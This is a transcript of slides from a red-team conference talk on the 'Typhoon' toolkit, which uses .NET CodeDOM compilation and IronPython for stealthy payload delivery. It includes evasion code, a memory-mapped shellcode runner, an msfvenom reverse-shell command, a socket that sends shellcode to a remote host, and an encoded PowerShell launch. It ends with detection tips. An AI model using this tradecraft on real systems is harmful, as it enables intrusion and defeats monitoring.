SlideShare a Scribd company logo
Offensive Retooling In .NET for Red Teams
Dimitry Snezhkov
@Op_Nomad
Circle City Con 5.0
/about
Sr. Security Consultant, X-Force Red, IBM Corporation
Currently Focus on:
• Full Scope Offensive Security Assurance Testing.
• Tools/Code.
• Closest role I attempt to follow: “Operator”
• There is no “the” in Ukraine J
The things that make other things go under the DFIR radar on Windows J
• Choices and Ideas to help an Offense Operator in Recon and further stages
• Building offensive code blocks, live on the system. Utilized Weaponization.
• Riding the developer path for the gain.
• Concept: Code is Data. Data is Code.
• Concept: Slim Cradles. Dynamic Payloads.
Let’s Talk Offense, Shall we?
Recon : Strategic Offensive Execution
Many adversarial efforts are burned at the Recon stage on the system.
• Offense has to move first.
• Offense has to collect information about surroundings
• Initial offensive playbook is somewhat predictable.
First Mover Disadvantage Problem
Recon: Offensive Operator issues:
Logged shell commands (e.g. PowerShell)
• Command shells are instrumented
• sandboxed execution,
• hooked or instrumented binaries
• Quiet systems with monitoring agents
• Whitelisting of binaries (reality: many as a blacklist: e.g. deny “powershell.exe”)
Network Effect Failure: Known static offensive tools are flagged as they
become common.
First Mover Disadvantage Problem
Retooling in the field may be needed.
Purpose is staying live in the offensive discovery, and beyond.
1. Building blocks/modules may be better than static tools.
2. Building tools that build tools on systems may be better than bringing
tools in.
3. Utilization - leverage of existing system facilities and weaponizing them
may be better than new tools
Live Retooling in the field may be needed.
Advantages
• Minimized fingerprint surface
• Blending in with the environment operation
Reality
• Live offensive dev is hard.
• Real time detection.
• Bugs.
• Event generation (DFIR)
Disadvantages
• Dev time (often on live systems).
• Dev on Live systems is dangerous sport
• OpSec is paramount on unknown systems.
Desired Strategic goals of Recon tools/techniques
• Ability to recon under the radar for longer time.
• Ability to better deliver code and payloads to
existing facilities across monitored systems and
networks
• Ability to quickly retool for the unknown.
The initial goal is to minimize chances of being loud during recon
Sorry… ;(
If we agree live retooling is needed what do we need:
Desired Tactical traits of live retooling in support of the goals
• Support in transfer payloads and execution cradles on demand.
• Support in building of payloads or executing cradles on the host.
• Support in evasion of OS and Network defenses as we develop.
If we agree live retooling is needed what do we need:
What properties do we desire in the building blocks/tools
• Minimization of artifacts, event, alerts
• Overcoming existing environment instrumentation
• Reasonable interface with legacy facilities on the host
(sometimes/often)
• Decent interop with system APIs (drop down really low if needed)
• Improved Operational Security for tools
If we agree live retooling is needed what do we need:
The concept of Slim Payload Delivery Cradles
Benign mechanisms placed on systems with ability to:
• Dynamically load payloads
• Load additional dependency at run time, to dynamically load other
payloads
• Operate on Code as Data
• Code based dynamic compilation
• Decoupled compilation and execution
• Decoupled payload processes or threads
Cradle to Grave
Current options for retooling on remote live systems (Windows):
• Powershell
• WMI
• Managed code (.Net).
• COM and unmanaged code
All have Pros and Cons
Availability of compilers on target systems
Ease of use but logged (System.Management.Automation)
Non-legacy interfaces and low level (interop/COM)
Ease of live system dev effort
Options For Retooling Mechanisms
Advantages
• Breadth of interfaces with OS and beyond
• Deep reach into OS is possible via Interop
(P/Invoke)
• Utilization properties
• Flexibility
• Also not logged at the API level
Disadvantages
• Also, slower dev than scripting
• Also, no fast prototyping (no REPL)
• Also, compilation
Standalone .NET API recon tools exist and being built. Not a new concept.
However an easier retooling is our goal. Can we build this out?
Managed code (.NET) Is Interesting...
Offensive Live Dev Challenge Numero Uno..
Retain and weaponize the advantages of .Net while addressing its disadvantages.
Advantages
Breadth of interfaces with OS and beyond
Deep reach into OS is possible via Interop
(P/Invoke)
Utilization properties
Flexibility
Absence of logging at the API level
Disadvantages
Slower dev than scripting
No inherent fast prototyping (no REPL)
OpSec unfriendly Compilation
CSaw
Let’s gradually design and build a Managed Execution Toolkit Concept
.NET Strongly Typed
Typhoon MET
Ready. Set. Retool
What is .Net in a nutshell from prototyping and packaging perspective.
1st degree relatives
• APIs
• CLR
• Compilers
Cousins (hey!):
• CodeDom
• DLR (later)
Typhoon CSaw
Code Document Object Model (CodeDOM)
• emit source code to generate source code in multiple programming languages at
run time
• based on a single model that represents the code to render.
Common uses for the CodeDOM:
• Templated code generation
(ASP.NET, XML Web services client proxies,
code wizards, designers,
or other code-emitting mechanisms.
• Dynamic compilation: supporting code compilation in single or multiple languages.
Typhoon CSaw
So we want to build a REPL via inline CodeDom
Csc.exe is present (some .Net internals (XML, etc.) relies on it being present so most likely not removed by Blue
Benefits:
• Ability to dynamically compile C# (VB/JS ..) code
• Ability to REPL C# for quick gains
• Ability to use C# to avoid monitoring
Typhoon CSaw
Evasion
Microsoft.CSharp.CSharpCodeProvider csc = new Microsoft.CSharp.CSharpCodeProvider(
new Dictionary<string, string>() { { "CompilerVersion", "v4.0" } });
CompilerParameters parameters = new CompilerParameters(
referencedAssemblies);
parameters.GenerateInMemory = true;
parameters.GenerateExecutable = false;
parameters.TempFiles = new TempFileCollection(Path.GetTempPath(), true);
parameters.CompilerOptions += "/nologo /unsafe";
String aPathName =
Path.Combine(Environment.CurrentDirectory,
Path.GetFileName(Path.GetTempFileName()).Replace(".tmp", ".dll"));
parameters.OutputAssembly = aPathName;
CompilerResults cr = csc.CompileAssemblyFromSource(parameters, SourceCode);
Typhoon CSaw
NET loader does not care about DLL name, only embedded manifest)
Evasion
Goals:
• Ability to dynamically compile C# code
• Ability to REPL C# for quick gains
• Ability to use C# to avoid logging monitoring
• Ability to load assemblies in memory and remove disk artifacts (post-factum)
• Ability to compile and run in separate invocations ( correlation evasion)
• Ability to dynamically load an assembly and invoke and class in it
• Ability to increase effectiveness of payload delivery via source code (a bonus)
• AppDomain assist. Unloading assemblies and deleting artifacts.
• Interop to native unmanaged code. Dynamic and more usable Interop.
Typhoon CSaw
public class DynamicCompile: System.IDisposable{}
public void GetResults();
protected void Dispose(bool disposing);
String SourceCode = SnippetDirectives +
SnippetPreamble +
SnippetCode +
SnippetPostAmble;
We just need a simple code contract and dynamic compilation
User submitted
User submitted
Tool generated
Tool generated
Typhoon Csaw: REPL
Evasion
var type = cr.CompiledAssembly.GetType("Dynamic.DynamicCompile");
object[] constructorArgs = new object[] { };
dynamic instance = Activator.CreateInstance(type, constructorArgs);
// Contract execute
instance.GetResults();
// Dispose of an instances.
instance.Dispose()
Typhoon CSaw: REPL
directive> using System;
directive> using System.IO;
directive> using System.Text;
directive> using System.CodeDom;
directive> using System.Diagnostics;
directive> using System.CodeDom.Compiler;
directive> END
code> foreach (System.CodeDom.Compiler.CompilerInfo ci in
code> System.CodeDom.Compiler.CodeDomProvider.GetAllCompilerInfo())
code> {
code> foreach (string language in ci.GetLanguages())
code> System.Console.Write("{0} ", language);
code> System.Console.WriteLine();
code> }
code> END
Performing dynamic compile and execution.
--- Result ---
c# cs csharp
vb vbs visualbasic vbscript
js jscript javascript
c++ mc cpp
Typhoon CSaw: REPL
using System;
using System.Net;
END
WebClient client = new WebClient();
String address = @"https://google.com";
string reply = client.DownloadString
(address);
Console.WriteLine("{0} ... ",
reply.Substring(0, 80));
END
Advantages:
• Code cradle
• CodeDOM
• Rudimentary reusable code contract (REPL)
Disadvantages:
• Sequential
• No abstraction
• No reusability.
• Quick and dirty REPL
Typhoon CSaw: REPL
We can do better ...
Evasion
Dynamic class building with disposable interface
• Better Contract
• Full branching, classes
• Split compilation and execution steps.
• Ability to compile and run in separate invocations means correlation evasion support
• Ability to dynamically load an assembly and invoke and class in it (a la regsvr32 <dll> <entry>
but for .Net)
• Can write extensions outside of live environment, transfer and load them up (as code). Maybe
later ;)
public void PreLaunch() {}
public void RunCode(){}
public void PostLaunch() {}
Typhoon CSaw: CSX extensions
Better CSX Contract:
Evasion
namespace Typhoon.Extensions
{
// This extension will implement a contract
public class ClipboardManager
{
// Before hook
public void PreLaunch() {}
// After hook
public void PostLaunch() {}
// Implementing Entry point contract
public void RunCode(){
Console.WriteLine("Clipboard: {0}", ExecuteYourRealCode());
}
}
Typhoon CSaw: CSX extensions
Typhoon CSaw: CSX extensions
Compile
Typhoon.exe -mode=comp -type=cs
-resource=METTyphoonExamplesExtensionsClipboardManager.cs
This creates a tmpXXXX.dll assembly in local directory
Execute Extension (load dll and invoke type)
Typhoon.exe -mode=exec -type=cs -method=afile -resource=.tmp1D63.dll
-class=Typhoon.Extensions.ClipboardManager
EvasionRemember: Decoupled Compilation and Execution goals?
CodeDom Leaves Artifacts (OpSec). DFIR evasion/detection is not fully solved.
• Good: Not invoking csc.exe via command line (not logged).
• Bad: But csc.exe is still indirectly invoked
• OK: On disk presence of Temp files (transient or permanent)
• OK : Assembly disk deletion challenge while in use (move to memory).
• OK: Naming of temp files may not be controlled. Location can be controlled.
• OK: Unloading of assemblies challenges,
Typhoon CSaw: DFIR Artifacts
parameters.GenerateInMemory = true
In-memory generation is a misnomer. There are some artifacts left on disk,
in-memory really means `in temp folder`
Example of artifacts for in-memory (transient) compilation and preservation of temp
files:
Directory of C:UsersdimasAppDataLocalTemp
08/12/2017 10:31 PM 0 tmp16A6.tmp
08/12/2017 10:30 PM 0 tmpF581.tmp
08/12/2017 10:32 PM 2,080 1vvp5flt.0.cs
If temp files are set to be preserved (KeepFiles property) we see in output folder
08/12/2017 10:32 PM 778 1vvp5flt.cmdline
08/12/2017 10:32 PM 0 1vvp5flt.err
08/12/2017 10:32 PM 1,353 1vvp5flt.out
08/12/2017 10:32 PM 0 1vvp5flt.tmp
Typhoon CSaw: DFIR Artifacts
Process Monitor
Want:
• Delete loaded assemblies from disk once loaded
• Unload assemblies on demand
• Load ByteStream (of assemblies with payloads) from memory
• Remove .cs, .cmd, .dll, .tmp. We cannot do that.
However:
• Classic .NET does not allow ByteStream Load() of assemblies that are not on disk
• Unloading cannot be done in the same Code Domain.
Typhoon CSaw: OpSec – Removing Artifacts
var type =
cr.CompiledAssembly.GetType("Dynamic.DynamicCompile");
FileInfo fi = new FileInfo(aPathName);
File.Delete(aPathName);
object[] constructorArgs = new object[] { };
dynamic instance = Activator.CreateInstance(type,
constructorArgs);
// Contract execute
instance.GetResults();
// Dispose of instances. Avoiding memory leaks (e.g. for rapid
fire of calls in a loop).
instance.Dispose()
Typhoon CSaw: OpSec – Removing Artifacts
Locked!
using (var context = AppDomainContext.Create())
{
String aPathName = Path.Combine(Environment.CurrentDirectory,
Path.GetFileName(Path.GetTempFileName()).Replace(".tmp", ".dll"));
parameters.OutputAssembly = aPathName;
CompilerResults cr = csc.CompileAssemblyFromSource(parameters, SourceCode)
var type = cr.CompiledAssembly.GetType("Dynamic.DynamicCompile");
FileInfo fi = new FileInfo(aPathName);
File.Delete(aPathName);
object[] constructorArgs = new object[] { };
dynamic instance = Activator.CreateInstance(type, constructorArgs);
Console.WriteLine("n--- Result ---");
instance.GetResults();
// Dispose of instances. Avoiding memory leaks (e.g. for rapid fire of calls in a
loop).
instance.Dispose();
}
Typhoon Csaw: OpSec – Removing Artifacts
Evasion
Why: Investments in the unmanaged code.
Code in CLR is managed code
Code not in CLR is unmanaged code.
• COM, COM+,
• C++ components,
• ActiveX components
• Microsoft Win32 API
Example of C# P.Invoke API via DLLImport
Ref: https://www.pinvoke.net/default.aspx/user32.findwindow
Typhoon CSaw: Interop
Interop in .NET
• Platform Invoke services (P/Invoke)
• The System.Runtime.InteropServices
namespace
• C++ interoperability
• COM interoperability (COM interop)
Evasion
// P/Invoke shim.
using System
using System.Runtime.InteropServices;
[DllImport("user32.dll", SetLastError = true)]
static extern IntPtr FindWindowEx(IntPtr hwndParent, IntPtr hwndChildAfter,
string lpszClass, string lpszWindow);
IntPtr thisW = FindWindowEx(IntPtr.Zero, IntPtr.Zero, null, "Downloads");
[DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
public static extern bool SetWindowText(IntPtr hwnd, String lpString);
SetWindowText(thisW, "Hello DFIR");
Typhoon CSaw: Interop
// Invoke from external .NET code:
public void startProcess(string path, string title) {
Process.Start(path);
Thread.Sleep(1000); //Wait, the new programm must be full loaded
//get the Handle of the console window
IntPtr handle = FindWindow("ConsoleWindowClass", path);
SetWindowText(handle, title); //sets the caption
}
Typhoon CSaw: Interop
The Shim and the Invoking code can be in different assemblies.
Evasion
Typhoon CSaw: Better Dynamic Interop
Dynamic WinAPI invoke with reflective shim assist
• Abstracts complexity
• Assembly builder uses Reflection / Emit API
DefineType()
DefineMethod()
CreateType()
GetMethod()
public static class DynLibUtil
{
public static dynamic LoadWinapiPInvoke(string library)
{
dynamic dynlibrary = new DynamicDllImport(library,
callingConvention: CallingConvention.Winapi);
return dynlibrary;
}
}
Evasion
Google GPL code
using System;
using DynamicLoad;
END
dynamic user32 =
DynLibUtil.LoadWinapiPInvoke("user32");
user32.MessageBox(0, "Hello World", "P/Invoke Sample",
0);
END
Typhoon CSaw: Better Dynamic Interop
Invoke in REPL example with Dynamic Interop (.NET 4.0+):
EASY
We just built a dynamic scriptable .NET Native Interop API bridge
By now we have met most of CSaw goals.
• Ability to dynamically compile C# code
• Ability to REPL C# for quick gains
• Ability to use C# to avoid logging monitoring
• Ability to load assemblies in memory and remove disk artifacts (post-factum)
• Ability to compile and run in separate invocations ( correlation evasion)
• Ability to dynamically load a custom assembly and invoke and class in it
• Ability to increase effectiveness of payload delivery via source code (a bonus)
• AppDomain assist. Unloading assemblies and deleting artifacts.
• Interop to native unmanaged code. Dynamic and more usable Interop.
We are not done.
Typhoon Csaw
• Can we achieve a more flexible .NET scriptability?
• Can we avoid working with AppDomains explicitly
• Can we avoid compilation process altogether.
Typhoon DLRium
Dynamic
Typed
.NET
DLRium
Let’s gradually design and build a Managed Execution Toolkit Concept
Dynamic DLR
Typhoon MET
Ready. Set. Retool
The .NET Dynamic Language Runtime (DLR)
A .NET runtime environment that:
• adds a set of services for dynamic languages to the common language runtime (CLR).
• makes it easier to develop dynamic languages to run on the .NET Framework
• adds dynamic features to statically typed languages.
Dynamic languages (JavaScript, PHP, Ruby, Python, Lua, Groovy.)
• can identify the type of an object at run time
Statically typed languages (such as C# )
• object types specified at design time.
Typhoon DLRium
• Simplifies Porting Dynamic Languages to the .NET Framework
• Enables Dynamic Features in Statically Typed Languages
• Enables Sharing of Libraries and Objects
Typhoon DLRium
Scriptobj.SetProperty("Count", ((int)GetProperty("Count")) + 1);
scriptobj.Count += 1;
Typhoon DLRium
We have this:
We want this instead:
Easy
DLR revolves around the Core DLR API in
namespaces:
• Microsoft.Scripting
• Microsoft.Dynamic
Plus additional language implementations.
DLR Implementations we want:
• IronPython
• IronPython.Module
We can move away from strongly typed systems into dynamic types.
We can hide complexity. We can do more code reflection.
Typhoon DLRium
using System.Net
var content = string.Empty;
using (var webClient = new WebClient())
{
content = webClient.DownloadString("http://google.com");
Console.WriteLine(content);
}
$webClient = New-Object System.Net.WebClient
$content = $webClient.DownloadString("http://google.com")
Out-Host $content
Typhoon DLRium
C# Static Types
Powershell Dynamic types
from System.Net import WebClient
content = WebClient().DownloadString("http://google.com")
print content
import urllib2
content = urllib2.urlopen("http://google.com").read()
print(content)
Python Dynamic Types
Python (DLR) Dynamic Types
Typhoon DLRium
What just happened here?
Dynamic fast prototyping of Python with the power of .NET. No compilation.
Hello DFIR!
Typhoon DLRium
Evasion
Goals
• Ability to leverage DLR to avoid Powershell logging while preserving scriptability (in comparison to
statically compiled C#)
• Ability to leverage Python expressiveness and dynamic typing while still having ability to transparently
engage .Net framework mechanisms
• Ability to compile Python to exe or dll via DLR
• Ability to drop down to .Net from Python or to Python from .Net (stealth, Evasion)
• Load from ByteStream (no need to delete or have Assembly image on disk)
• Interop to native unmanaged with load/unload
DLRium:
• Specifically IronPython
• Dynamic types. Python rocks for offense
• Fully reflected code. Analysis paralysis (for some)
• Python + .Net wealth of classes and interfaces.
• Python + StdLib (if needed). != Cpython
Typhoon DLRium
## IronPython without STDLib included
```>>> print sys.builtin_module_names
('unicodedata', '_ast', 'imp', 'future_builtins', 'clr', 'exceptions',
'__builtin__', 'sys', 'array', 'binascii', 'bz2', 'cmath', 'msvcrt', 'mmap',
'signal', 'winsound', 'zipimport', 'zlib', '_bisect', '_codecs', '_collections',
'copy_reg', 'cPickle', 'cStringIO', 'datetime', 'errno', 'gc', 'itertools', '_csv',
'_io', '_locale', 'marshal', 'math', '_md5', 'nt', 'operator', 're', 'select',
'_sha', '_sha256', '_sha512',/ 'socket', '_ctypes', '_ctypes_test', '_heapq',
'_struct', 'thread', 'time', 'xxsubtype', '_functools', '_random', '_sre', '_ssl',
'_subprocess', '_warnings', '_weakref', '_winreg')
```
Typhoon DLRium
Can use pure Python constructs, or bring in .NET namespaces as needed
import clr, sys
import clr, sys
clr.AddReference('StdLib')
import traceback, urllib
try:
opener = urllib.FancyURLopener({})
f = opener.open(r"http://www.python.org/")
f.read()
except Exception as e:
traceback.print_exc(file=sys.stdout)
print e
END
• Benefits of StdLib you get a lot more `python` modules like `traceback`
• Size increases.
• On-disk drop.
• Much available from .NET but can mix and match to evade defenses more
Typhoon DLRium: REPL
Load IronPython Stdlib from zip. Zip can also be brought in as renamed `docx`
sys.path.append(r"C:UsersdimasDownloadsdistStdLib.docx")
Evasion
import clr;
clr.AddReference("System.Windows.Forms"
) ;
from System.Windows.Forms import *;
clr.AddReference("System.Drawing") ;
clr.AddReference("System.Windows.Forms"
) ;
f = Form();
f.Show()
clr.AddReference("System.Windows.Forms")
from System.Windows.Forms import
MessageBox
MessageBox.Show("Hello World")
from System.Threading import Thread,
ThreadStart
def f():
Thread.Sleep(1000)
print "Thread Finished"
f()
DLR is just a .NET technique. Can expand easily into things like Win Forms, etc.
Typhoon DLRium
Compile PyDLR into .NET Assembly and load it Reflectively
File: test.py
def hello():
print "Hello"
Compile and load:
import clr
clr.CompileModules("test.dll", "test.py")
clr.AddReferenceByPartialName("test")
import test
print test.hello()
Typhoon DLRium
Evasion
Compile PyDLR to Exe.
In fact, compile Iron python interpreter itself to exe via reflection:
Typhoon -mode=exec -type=py -method=sfile -
resource=....ExamplesExtensionsPyc.py -targs="/target:exe /platform:x64
/main:test_main.py test_main.py"
Run time dependencies still need to be accounted for. Depends how you look at it.
Standalone payload functionality with dependent runtime libraries, vs. frozen fat
binaries.
copy ....ResourcesIronPython.dll .
copy ....ResourcesMicrosoft.Dynamic.dll .
copy ....ResourcesMicrosoft.Scripting.dll .
Typhoon DLRium
Evasion
DLRium Multiline PyDLR REPL is possible. Even easier than C#:
import clr
clr.AddReference("System.Windows.Forms")
from System.Windows.Forms import MessageBox
MessageBox.Show("Hello World")
END
Typhoon DLRium
Unmanaged code via Ctypes (needs STDLib)
import ctypes
buffer = ctypes.create_string_buffer(100)
ctypes.windll.kernel32.GetWindowsDirectoryA(buffer, len(buffer))
print buffer.value
Typhoon DLRium
But we can do better. What if …..
Unmanaged code P/Invoke via CodeDom from PyDLR
Makes sense to enhance delivery of code – OPSec
• Embedded resources
• App.config
• Net Modules
Typhoon DLRium
What just happened? We are bringing code as payload to an executing cradle.
Evasion
Typhoon DLRium
1. Bring in IronPython.dll as an Embedded DLL dependency.
<ItemGroup>
<Reference Include="IronPython, Version=2.7.7.0, Culture=neutral,
PublicKeyToken=7f709c5b713576e1, processorArchitecture=MSIL">
<HintPath>ResourcesIronPython.dll</HintPath>
<Private>False</Private>
</Reference>
<Reference Include="IronPython.Modules">
<HintPath>ResourcesIronPython.Modules.dll</HintPath>
<Private>False</Private>
</Reference>
<Reference Include="Microsoft.Dynamic">
<HintPath>ResourcesMicrosoft.Dynamic.dll</HintPath>
<Private>False</Private>
</Reference>
<Reference Include="Microsoft.Scripting">
<HintPath>ResourcesMicrosoft.Scripting.dll</HintPath>
<Private>False</Private>
</Reference>
internal static Assembly CurrentDomain_AssemblyResolve(object sender, ResolveEventArgs args)
{
var assemblyName = new AssemblyName(args.Name).Name + ".dll";
var resourceName = EmbeddedLibraries.FirstOrDefault(x => x.EndsWith(assemblyName));
using (var stream = ExecutingAssembly.GetManifestResourceStream(resourceName))
{
var bytes = new byte[stream.Length];
stream.Read(bytes, 0, bytes.Length);
return Assembly.Load(bytes);
}
}
internal static void SetAssemblyResolution()
{
AppDomain.CurrentDomain.AssemblyResolve += AssemblyUtil.CurrentDomain_AssemblyResolve;
}
Typhoon DLRium
2. Hook the Assembly Resolution to load
A few alternative building blocks ideas:
1. Compile `.cs` code and have DLLs as embedded resources in your
assemblies
`csc /resource:Ironpython.dll`
2. Bring modularized assemblies as netmodules. A Netmodule is an
assembly without a manifest. Not identifiable or scannable as not
executable. Compile an assemble to a dll onsite.
`csc -target:module payload.cs `
`csc /netmodule:module`
Also, see ExamplesCompileNetMod.py
3. Possibly use .Net Download Cache facilities
`gacutul /ldl`
(Location where it downloads):
C:UsersdimasAppDataLocalassemblydl3
Typhoon DLRium
Evasion
Example: compile netmodules in code, and then assemble them, in code
Typhoon
See METTyphoonExamplesNetmodulesCompileNetMod.py
Evasion
Typhoon
Dynamic Netmodule compilation of C# into .NET Assembly via DLR
nuser32_module_path = GenerateNM(user32_stub_dllimport, 'NUser32', inMemory=False)
ngdi32_module_path = GenerateNM(gdi32_stub_dllimport, 'NGDI32', inMemory=False)
modulesList=[nuser32_module_path,ngdi32_module_path]
# Bind Modules into Assembly
assemblyPath = ModulesToAssembly(modulesList, 'pinvoke', inMemory=False)
clr.AddReferenceToFileAndPath(assemblyPath)
clr.AddReference('System.Drawing')
image = ScreenCapture(0, 0, 80, 400)
image.Save("capture_module.png")
Compile netmodules Via Python DLR.
El Loco
Typhoon
You can modify. `yourexe.exe.config` file and point to remote DLL to fetch.
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<assemblyIdentity
name="IronPython"
publicKeyToken="7f709c5b713576e1"
culture="" />
<codeBase version="2.7.7.0" href="http://127.0.0.1:8000/IronPython.dll" />
</dependentAssembly>
</configuration>
Typhoon DLRium
Evasion
Alternative methods to fetch IronPython DLL
Example: Invoking Iron Python from IronPython over .Net Assembly w/variables
import clr
clr.AddReference('IronPython’)
clr.AddReference('Microsoft.Scripting')
from IronPython.Hosting import Python
from Microsoft.Scripting import SourceCodeKind
code = "print string”; values = {'string': 'Hello World'}
engine = Python.CreateEngine()
source = engine.CreateScriptSourceFromString(code,
SourceCodeKind.Statements)
mod = engine.CreateScope()
for name, value in values.items():
setattr(mod, name, value)
source.Execute(mod)
Typhoon DLRium: Deep Reflection
Evasion
PyDLR introspection via reflection. Even more stealth?
1. Python file which contains what we want to execute:
`TestClass.py`
Trivial example of adding two numbers
```python
# The class you want to access externally.
class DoCalculations():
# A method within the class that adds two numbers.
def DoAdd(self, First, Second):
# Provide a result.
return First + Second
# A test suite in IronPython.
def __test__():
# Create the object.
MyCalc = DoCalculations()
# Perform the test.
print MyCalc.DoAdd(5, 10)
Typhoon DLRium: Deep Reflection
a. Normal invoke.
// Obtain the runtime.
var IPY = Python.CreateRuntime();
// Create a dynamic object containing
the script.
dynamic TestPy =
IPY.UseFile(“TestClass.py”);
// Execute the __test__() method.
TestPy.__test__();
```
b. Reflective IronPython Invoke
// Introspect iPython module:
// Create an object for performing tasks with
the script.
ObjectOperations Ops =
Eng.CreateOperations();
// Create the class object.
Source.Execute(Scope);
// Obtain the class object.
Object CalcClass =
Scope.GetVariable(“DoCalculations”);
// Create an instance of the class.
Object CalcObj = Ops.Invoke(CalcClass);
// Get the method you want to use from the class
instance.
Object AddMe =
Ops.GetMember(CalcObj, “DoAdd”);
// Perform the add.
Int32 Result =
(Int32)Ops.Invoke(AddMe, 5, 10);
2. Invoke PyDLR class from CSharp
Typhoon DLRium
Evasion
// options for the compiler. We choose `unsafe` because we want a raw
pointer to the buffer containing shellcode
parameters.CompilerOptions += "/nologo /unsafe"
Shellcode Payloads
Staying alive during Recon is focus. However, nothing stops from developing heavy
artillery from this
Options:
• void pointer to memory mapped file
• via VirtualAlloc()
Typhoon CSaw/DLRium - Beyond Recon
mmf = MemoryMappedFile.CreateNew("__shellcode",
shellcode.Length, MemoryMappedFileAccess.ReadWriteExecute);
// Create a memory mapped view accessor with read/write/execute permissions..
mmva = mmf.CreateViewAccessor(0, shellcode.Length,
MemoryMappedFileAccess.ReadWriteExecute);
// Write the shellcode to the MMF..
mmva.WriteArray(0, shellcode, 0, shellcode.Length);
// Obtain a pointer to our MMF..
var pointer = (byte*)0;
mmva.SafeMemoryMappedViewHandle.AcquirePointer(ref pointer);
// Create a function delegate to the shellcode in our MMF..
var func = (GetPebDelegate)Marshal.GetDelegateForFunctionPointer(new IntPtr(pointer),
typeof(GetPebDelegate));
// Invoke the shellcode..
return func();
Typhoon Scaw/DLRium - Beyond Recon
Evasion
Dictionary<String, MemoryMappedFile> mmfRepo = new Dictionary<String, MemoryMappedFile>();
// Load network bytes into memory stream and unzip in memory.
Stream dllzipdata = new MemoryStream(dllzip);
ZipArchive dllarchive = new ZipArchive(dllzipdata, ZipArchiveMode.Read);
Stream unzippedCSDataStream;
MemoryMappedFile mmf;
foreach (ZipArchiveEntry entry in dllarchive.Entries)
{
if (entry.Name == @"payload.py")
{
unzippedCSDataStream = entry.Open();
// Prepare Memory Map for file
mmf = MemoryMappedFile.CreateNew(entry.Name, entry.Length);
// Save mmf
mmfRepo.Add(entry.Name, mmf);
StreamReader reader = new StreamReader(unzippedCSDataStream);
string codeText = reader.ReadToEnd();
byte[] Buffer = ASCIIEncoding.ASCII.GetBytes(codeText);
using (MemoryMappedViewStream stream = mmf.CreateViewStream())
{
BinaryWriter writer = new BinaryWriter(stream);
writer.Write(Buffer);
}
}
}
Typhoon
Evasion
private WorkThreadFunction(ShellCode){
DynCSharpRunner.CompileRunShellCode(ShellCode);
}
/* msfvenom -p windows/meterpreter/reverse_tcp --platform windows
ReverseConnectRetries=255
PrependMigrate=true
LHOST=172.16.56.230 LPORT=1337 -e x86/shikata_ga_nai -i 3 -f csharp
*/
String ShellCode = @"
0xdb,0xc0,0xb8,0x22,0x07,0x27,0xf3,0xd9,0x74,0x24,0xf4,0x5e,0x31,0xc9,0xb1,
0x61,0x31,0x46,0x1a,0x83,0xc6,0x04,0x03,0x46,0x16,0xe2,0xd7,0xba,0x1c,0x88,
0xb0,0x69,0xed,0x38,0xfb,0x8e,0x25,0x5a,0x04 ....
";
Thread thread = new Thread(new ThreadStart(WorkThreadFunction));
thread.IsBackground = true;
thread.Start();
• CSaw style
Typhoon Scaw/DLRium - Beyond Recon
from System.Threading import Thread, ThreadStart
def scode():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("192.168.88.31", 8080))
buf = ""
buf += "xdbxc3xbdx9cxecx7cx70xd9x74x24xf4x5ax31"
buf += "xdcx3ax3fx58xecx00x16x38x52x32xb2x79xb4"
buf += "x39x23x2fxaexbex29xd3x63xb1xc6xb5xf9"
sock.send(buf)
sock.close()
scode()
• DLRium style
Typhoon CSaw/DLRium - Beyond Recon
Evasion
If you still need Powershell or other process interface you could do:
from System.Diagnostics import Process
# More controlled invocation
p = Process()
p.StartInfo.UseShellExecute = False
p.StartInfo.RedirectStandardOutput = True
p.StartInfo.FileName = 'pOwersHell.exE'
p.StartInfo.Arguments = " -nop -encodedcommand JABzAD0ATgBlAHcALQBPAGI
..... "
p.Start()
p.WaitForExit()
Typhoon CSaw/DLRium - Beyond Recon
Evasion
from System.Collections.Generic import IEnumerable, List
list = List[int]([1, 2, 3])
import clr
clr.AddReference("System.Core")
from System.Linq import Enumerable
Enumerable.Any[int](list, lambda x : x < 2)
Typhoon DLRium - Development
DLR Python (IronPython): Porting CSharp code: Lists, Lambdas, etc.
Goals
• Ability to leverage DLR to avoid Powershell logging while preserving scriptability (in comparison to
statically compiled C#)
• Ability to leverage Python expressiveness and dynamic typing while still having ability to transparently
engage .Net framework mechanisms
• Ability to compile Python to exe or dll via DLR
• Ability to drop down to .Net from Python or to Python from .Net (stealth, Evasion)
• Load from ByteStream (no need to delete or have Assembly image on disk)
• Interop to native unmanaged with load/unload
DLRium:
• Specifically IronPython
• Dynamic types. Python rocks for offense
• Fully reflected code. Analysis paralysis (for some)
• Python + .Net wealth of classes and interfaces.
• Python + StdLib (if needed). != Cpython
Typhoon DLRium
CSaw DLRium
CS REPL
Typhoon.exe -mode=csrepl -type=multi
CS Extension contract code compilation and execution:
Typhoon.exe -mode=exec -type=cs -method=sfile -
resource=....ExamplesExtensionsScratch.cs -
class=Typhoon.Extensions.Scratch
CS code extension: Phased compilation and execution
Compile CS code into Assembly DLL:
Typhoon.exe -mode=comp -type=cs -
resource=....ExamplesExtensionsClipboardManager.cs
Load Assembly DLL and execute an extension contract:
Typhoon.exe -mode=exec -type=cs -method=afile -
resource=.tmp4E52.dll -
class=Typhoon.Extensions.ClipboardManager
Python DLR REPL
Typhoon.exe -mode=pyrepl -type=single
Typhoon.exe -mode=pyrepl -type=multi
Python DLR Execute script
Typhoon.exe -mode=exec -type=py -method=sfile -
resource=.test.py
Python DLR Execute script (with args passed to script)
Typhoon.exe -mode=exec -type=py -method=sfile -
resource=....Examplespy2exePyc.py -targs=" /target:exe
/platform:x64 /main:test_main.py test_main.py"
Python DLR compile to EXE via DLR
Typhoon.exe -mode=exec -type=py -method=sfile -
resource=....Examplespy2exePyc.py -targs=" /target:exe
/platform:x64 /main:test_main.py test_main.py”
Python DLR compile to DLL via DLR
Typhoon.exe -mode=exec -type=py -method=sfile -
resource=....Examplespy2exePyc.py -targs=" /target:dll
/platform:x86 "
Typhoon Managed Execution Toolkit Concept
Application Whitelisting is key.
Csaw:
• Watch csc.exe execution
• Watch ephemeral artifacts in temp directory (or current directory) – everywhere ;)
• Names of DLLs can be anything. .NET does not care
• Collect code and command lines from traces of csc.exe (They get deleted after
compilation)
DLRium: Watch loading of embedded DLLs as resources. Hard to do on non-
instrumented system
